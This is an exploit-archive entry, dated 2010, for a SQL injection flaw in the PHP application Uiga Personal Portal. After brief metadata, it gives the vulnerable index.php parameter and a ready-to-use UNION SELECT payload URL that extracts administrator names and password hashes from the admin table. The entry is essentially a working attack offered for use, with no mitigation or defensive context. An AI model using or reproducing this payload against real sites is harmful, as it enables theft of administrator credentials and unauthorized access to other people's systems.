Uiga Personal Portal index.php SQL Injection Vulnerability

2010-02-28T00:00:00
ID 1337DAY-ID-11121
Type zdt
Reporter Easy Laster
Modified 2010-02-28T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==========================================================
Uiga Personal Portal index.php SQL Injection Vulnerability
==========================================================

----------------------------Information------------------------------------------------
+Name : Uiga Personal Portal index.php SQL Injection
+Autor : Easy Laster
+Date   : 28.02.2010
+Script  : Uiga Personal Portal
+Language :PHP
+Discovered by Easy Laster

----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/uigaportal/index.php?view=photos&id=
+Exploitable   : http://server/uigaportal/index.php?view=photos&id=-9999+
Union+Select+1,2,group_concat(admin_name,0x3a,admin_password),4,5+from+admin--
-----------------------------------------------------------------------------------------



#  0day.today [2018-01-10]  #